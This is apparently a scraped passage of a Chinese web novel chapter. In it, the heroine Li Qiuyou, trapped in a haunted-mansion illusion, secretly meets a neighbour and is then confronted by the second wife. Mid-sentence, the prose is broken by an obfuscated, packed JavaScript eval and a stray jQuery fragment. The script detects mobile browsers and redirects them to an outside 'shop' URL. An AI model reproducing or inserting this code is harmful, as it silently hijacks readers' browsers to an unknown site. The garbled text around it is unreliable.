鉴定完毕,贺砚清非但不是普通鬼怪,他早已有了自己的意识不说,还很会避重就轻,什么话也套不出来。
“该不会是让我俩去吧?”宣余担忧得眼珠子咕噜噜转,一般杂事不都是跟班做的。
贺砚清宽容道:“我带着你们去。”
黎秋又朝宣余使眼色,她一会儿还有正事呢,剧本上的剧情如果不走,她估计会被其他鬼怪撕掉。
不过贺砚清他像是知道
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16698926|189106||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
黎秋又要做什么,他站起身来,又伸过来一只手要搀黎秋又。
为防他不高兴了,黎秋又下意识伸过手去,但在下一瞬,贺砚清又收回了手。
天阴了些。
“是你自己把手抽走的啊!”
天知道她脑瓜子怎么想的,怎么把这句话说出来了。
贺砚清身形顿了顿,黎秋又立即噤声。
她很想知道唐约两人去哪里找尸体,为什么找尸体。
她独来独往惯了,此时却突然非常想有人来陪着她。现在,她一只手拿着贺砚清给她的小花,另一手揣着刚从账房领出来的银子。
走到后院时,份量变轻了。
贺砚清带着俩跟班去了梨园,此时院子安静到像是没有活物。
兜里的银元,真变成了一包草,黎秋又有点肉疼,哪怕是鬼钱,起码在这幻境里,是有用的啊!
停在宅院上空的天气并没有因贺砚清的离开而变化,暖阳照着冬日的空气,呼吸变得不那么寒凉。
如果乔小姐的故事是一部小说,那么在她去后院见邻居哥哥的路上,多少会发生点意外情况。
小说作者就是给笔下主角使绊子的,就算路上没有什么问题,那自己与邻居碰头的时候也会出问题。
最狗血的事情就是在她给人递钱袋子的时候,被小人提前告了状,带着老爷二太太的就过来捉奸了。
黎秋又曾经在小说里写过这样的桥段,凶手杀妻,仅仅因为妻子帮邻居的男人拿了个东西,说了几句话,便被怀疑有奸情。
她身上还裹着贺砚清给她披上的红围巾,在萧条的院子里格外显眼。没准要偷偷告状的人就躲在什么暗处看着呢。
“哐当”一声,后门被人从外面踹开。刚走到门前的黎秋又吓一大跳。
“诶呦,这十六太太吧?吓着您了?”一声音墩憨老实的系着围裙的男人从后门进来,一手持锋利银亮的菜刀,一手揪着一人的耳朵进门来。
黎秋又一时不知什么情况,愣在原地。
“嗐,这人在门口鬼鬼祟祟的,也不知道干什么的,问他是不是昨晚送菜来,今天来收账的,他也不理我,我就把人揪进来了。”
“昨晚送菜?”黎秋又看了眼被他揪着的男人,深蓝色布衣长衫,面容清秀,戴着眼镜,这没准,就是她那个邻家哥哥,来要钱的。
憨厚男人嘿嘿笑了一声,“昨晚送鱼的,送得太多了,当时没结钱。”
一声“鱼”黎秋又差点应激,这不是忌讳吗!
那人看她皱眉,朝自己嘴巴打了一下,“瞧我,忘了不能说。”
“挽云?是挽云吗?”被揪着耳朵的邻居挣扎着抬起脑袋,“挽云,是我啊,宋铭。”
该死,居然还叫小名。黎秋又急中生智,“哦对对对,是你啊,昨天买的发圈没给钱,你居然还找到了地方。”
那兜干草被她丢给宋铭。
“这……”宋铭颠了颠,一脸质疑神色。
黎秋又皱眉,偏偏脑袋,希望他赶紧识相地离开。
果不其然,身后洞门处传来匆匆步伐声,有丫鬟在小声指路,“二太太,就在这边。”
“嗐,原来是这样啊。”那墩憨的中年男人跟屠夫似的,伸手一推,就把宋铭从后门推了出去。
“二太太,你看,十六太太果真在这。”
一个脸生的丫鬟指着黎秋又就到了跟前,身后的二太太面上情绪波动不大,不像是来看戏的样子,反倒有些不耐烦。
“哪里来的野男人?胆敢在这里与姨太太私相授受!”
“啪”的一巴掌,黎秋又一惊。